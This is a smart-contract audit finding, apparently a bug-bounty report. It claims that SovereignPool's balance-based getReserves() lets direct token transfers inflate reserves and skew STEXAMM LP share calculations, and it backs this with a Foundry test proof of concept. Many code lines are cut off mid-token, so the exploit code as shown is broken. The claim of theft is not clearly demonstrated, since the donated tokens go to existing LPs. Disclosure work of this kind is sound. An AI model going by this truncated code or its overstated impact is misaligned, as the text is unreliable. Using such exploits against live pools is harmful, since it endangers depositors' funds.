Reserve Inflation via Direct Token Transfers Leads to Unfair LP Share Calculation

HIGH SEVERITY

Bug Description

The SovereignPool contract is susceptible to reserve manipulation through direct token transfers. An attacker can inflate the reported reserves by sending tokens directly to the pool contract. The STEXAMM contract, which relies on these inflated reserve figures for its core logic, then miscalculates LP share allocations during deposits and withdrawals. This leads to the dilution of LPs' shares and allows for the theft of funds from the pool.

The root cause of this vulnerability lies in the getReserves() function of the SovereignPool contract. This function determines the token reserves by calling token.balanceOf(address(this)), which returns the entire token balance of the contract. This implementation does not distinguish between funds deposited through the proper deposit function in the STEXAMM contract and funds that are transferred directly to the SovereignPool contract address.

The STEXAMM contract's deposit and withdraw functions both call SovereignPool.getReserves() to determine the current reserves. When calculating the number of LP shares to mint upon a new deposit, the formula uses the reported reserves in the denominator. Similarly, when processing a withdrawal, the amount of underlying tokens to be returned is calculated based on these same reserve figures.

An attacker can exploit this by first making a direct token transfer to the SovereignPool contract, which artificially inflates the value returned by getReserves(). Then, when the attacker or another user makes a legitimate deposit, the share calculation will be skewed, resulting in fewer LP shares being minted than should be. Conversely, an attacker holding LP shares could use this inflated reserve figure to withdraw more tokens than they are entitled to.

Impact

- A user who deposits funds after an attacker has inflated the reserves will receive significantly fewer LP shares than they should. This directly devalues their investment and reduces their claim on the pool's future fees and assets.
- An attacker can exploit this vulnerability to steal funds from the pool. After inflating the reserves, an attacker who holds LP shares can withdraw them and receive a larger amount of the underlying tokens than their shares are actually worth. This is a direct theft from the other liquidity providers.

Recommendation

- In SovereignPool.sol, replace the reliance on token.balanceOf(address(this)) with internal uint256 variables for reserve0 and reserve1.
- The depositLiquidity and withdrawLiquidity functions in SovereignPool.sol should be the only functions that modify these internal reserve variables. These functions are already restricted to be called only by the alm
- The getReserves() function should be modified to return the values of these internal reserve variables instead of the contract's token balance.

Proof Of Concept

A coded test contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {ProtocolFactory} from "@valantis-core/protocol-factory/ProtocolFactory.
import {SovereignPoolFactory} from "@valantis-core/pools/factories/SovereignPoo
import {ISovereignPool} from "@valantis-core/pools/interfaces/ISovereignPool.so
```

```
import {SovereignPoolSwapParams} from "@valantis-core/pools/structs/SovereignPo
import {WETH} from "@solmate/tokens/WETH.sol";

import {STEXAMM} from "src/STEXAMM.sol";
import {STEXRatioSwapFeeModule} from "src/STEXRatioSwapFeeModule.sol";
import {stHYPEWithdrawalModule} from "src/stHYPEWithdrawalModule.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {MockOverseer} from "src/mocks/MockOverseer.sol";
import {MockStHype} from "src/mocks/MockStHype.sol";
import {FeeParams} from "src/structs/STEXRatioSwapFeeModuleStructs.sol";

contract InflatedReservesTest is Test {
    STEXAMM stex;
    STEXRatioSwapFeeModule swapFeeModule;
    stHYPEWithdrawalModule withdrawalModule;

    ProtocolFactory protocolFactory;
    WETH weth;
    MockStHype token0;
    MockOverseer overseer;

    ISovereignPool pool;

    address public poolFeeRecipient1 = makeAddr("POOL_FEE_RECIPIENT_1");
    address public poolFeeRecipient2 = makeAddr("POOL_FEE_RECIPIENT_2");
    address public owner = makeAddr("OWNER");

    function setUp() public {
        // Setup tokens
        token0 = new MockStHype();
        weth = new WETH();

        // Setup overseer
        overseer = new MockOverseer(address(token0));

        // Setup protocol factory
        protocolFactory = new ProtocolFactory(address(this));
        address sovereignPoolFactory = address(new SovereignPoolFactory());
        protocolFactory.setSovereignPoolFactory(sovereignPoolFactory);

        // Setup withdrawal module
        withdrawalModule = new stHYPEWithdrawalModule(address(overseer), addres

        // Setup swap fee module
        swapFeeModule = new STEXRatioSwapFeeModule(owner);
        vm.prank(owner);
        swapFeeModule.setSwapFeeParams(
            1000, // minThresholdRatioBips - 10%
            2000, // maxThresholdRatioBips - 20%
            1, // feeMinBips - 0.01%
            30 // feeMaxBips - 0.3%
```

```
        );

        // Deploy STEXAMM
        stex = new STEXAMM(
            "Stake Exchange LP",
            "STEX LP",
            address(token0),
            address(weth),
            address(swapFeeModule),
            address(protocolFactory),
            poolFeeRecipient1,
            poolFeeRecipient2,
            owner,
            address(withdrawalModule),
            0 // poolManagerFeeBips
        );

        pool = ISovereignPool(stex.pool());

        // Set STEX address in withdrawal module
        withdrawalModule.setSTEX(address(stex));

        // Set pool in swap fee module
        vm.prank(owner);
        swapFeeModule.setPool(address(pool));
    }

    function testDirectTokenTransferInflatesReserves() public {
        // Initial deposit to establish baseline
        uint256 initialDeposit = 10 ether;
        weth.deposit{value: initialDeposit}();
        weth.approve(address(stex), initialDeposit);

        uint256 initialShares = stex.deposit(initialDeposit, 0, block.timestamp

        console.log("Initial shares minted:", initialShares);

        // Check initial reserves
        (uint256 reserve0Before, uint256 reserve1Before) = pool.getReserves();
        console.log("Reserves before attack - token0:", reserve0Before, "token1

        // ATTACK: Direct token transfer to pool without going through deposit(
        uint256 attackAmount = 5 ether;
        weth.deposit{value: attackAmount}();
        weth.transfer(address(pool), attackAmount);

        // Check reserves after direct transfer
        (uint256 reserve0After, uint256 reserve1After) = pool.getReserves();
        console.log("Reserves after attack - token0:", reserve0After, "token1:"

        // Demonstrate the issue: getReserves() now shows inflated token1 balan
```

```
        assertEq(reserve1After, reserve1Before + attackAmount, "Reserves should

        // Now a second user deposits the same amount as initial deposit
        address victim = makeAddr("VICTIM");
        vm.deal(victim, initialDeposit);
        vm.startPrank(victim);

        weth.deposit{value: initialDeposit}();
        weth.approve(address(stex), initialDeposit);

        uint256 victimShares = stex.deposit(initialDeposit, 0, block.timestamp,

        console.log("Victim shares minted:", victimShares);

        vm.stopPrank();

        // The victim receives fewer shares than they should due to inflated de
        // This is because the shares calculation uses inflated reserves from g
        assertLt(victimShares, initialShares, "Victim should receive fewer shar

        // Calculate the percentage difference
        uint256 percentageDifference = ((initialShares - victimShares) * 10000)
        console.log("Victim received", percentageDifference, "basis points fewe

        // The attack is successful - victim gets unfair share allocation
        assertTrue(percentageDifference > 0, "Attack successful: victim receive

        // Show total supply vs actual backing
        uint256 totalSupply = stex.totalSupply();
        (uint256 finalReserve0, uint256 finalReserve1) = pool.getReserves();
        console.log("Total LP supply:", totalSupply);
        console.log("Total actual backing - token0:", finalReserve0, "token1:",
    }

    function testAttackPersistsAcrossOperations() public {
        // Setup initial state
        uint256 depositAmount = 10 ether;
        weth.deposit{value: depositAmount}();
        weth.approve(address(stex), depositAmount);
        stex.deposit(depositAmount, 0, block.timestamp, address(this));

        // Attack: Direct transfer
        uint256 attackAmount = 3 ether;
        weth.deposit{value: attackAmount}();
        weth.transfer(address(pool), attackAmount);

        // Record inflated state
        (uint256 inflatedReserve0, uint256 inflatedReserve1) = pool.getReserves
        console.log("Inflated reserves - token0:", inflatedReserve0, "token1:",

        // Perform various operations and verify inflation persists
```

```
        // 1. Another deposit
        address user1 = makeAddr("USER1");
        vm.deal(user1, depositAmount);
        vm.startPrank(user1);
        weth.deposit{value: depositAmount}();
        weth.approve(address(stex), depositAmount);
        stex.deposit(depositAmount, 0, block.timestamp, user1);
        vm.stopPrank();

        (uint256 reserve0AfterDeposit, uint256 reserve1AfterDeposit) = pool.get
        console.log("After deposit - token0:", reserve0AfterDeposit, "token1:",

        // The inflation is still present in the accounting
        assertEq(reserve1AfterDeposit, inflatedReserve1 + depositAmount, "Infla

        // 2. Withdrawal should also be affected by inflated reserves
        uint256 sharesToWithdraw = stex.balanceOf(address(this)) / 2;
        (uint256 amount0Out, uint256 amount1Out) = stex.withdraw(
            sharesToWithdraw,
            0,
            0,
            block.timestamp,
            address(this),
            false,
            true // instant withdrawal
        );

        console.log("Withdrawal amounts - token0:", amount0Out, "token1:", amou

        // Verify the withdrawal calculation was affected by inflated reserves
        (uint256 reserve0Final, uint256 reserve1Final) = pool.getReserves();
        console.log("Final reserves - token0:", reserve0Final, "token1:", reser

        assertTrue(reserve1Final > 0, "Reserves should still show inflation eff
    }
}
```

Test Trace Logs

```
Logs: Inflated reserves - token0: 0 token1: 13000000000000000000 After
deposit - token0: 0 token1: 23000000000000000000 Withdrawal amounts -
token0: 0 token1: 6499999999999999350 Final reserves - token0: 0 token1:
16500000000000000650
```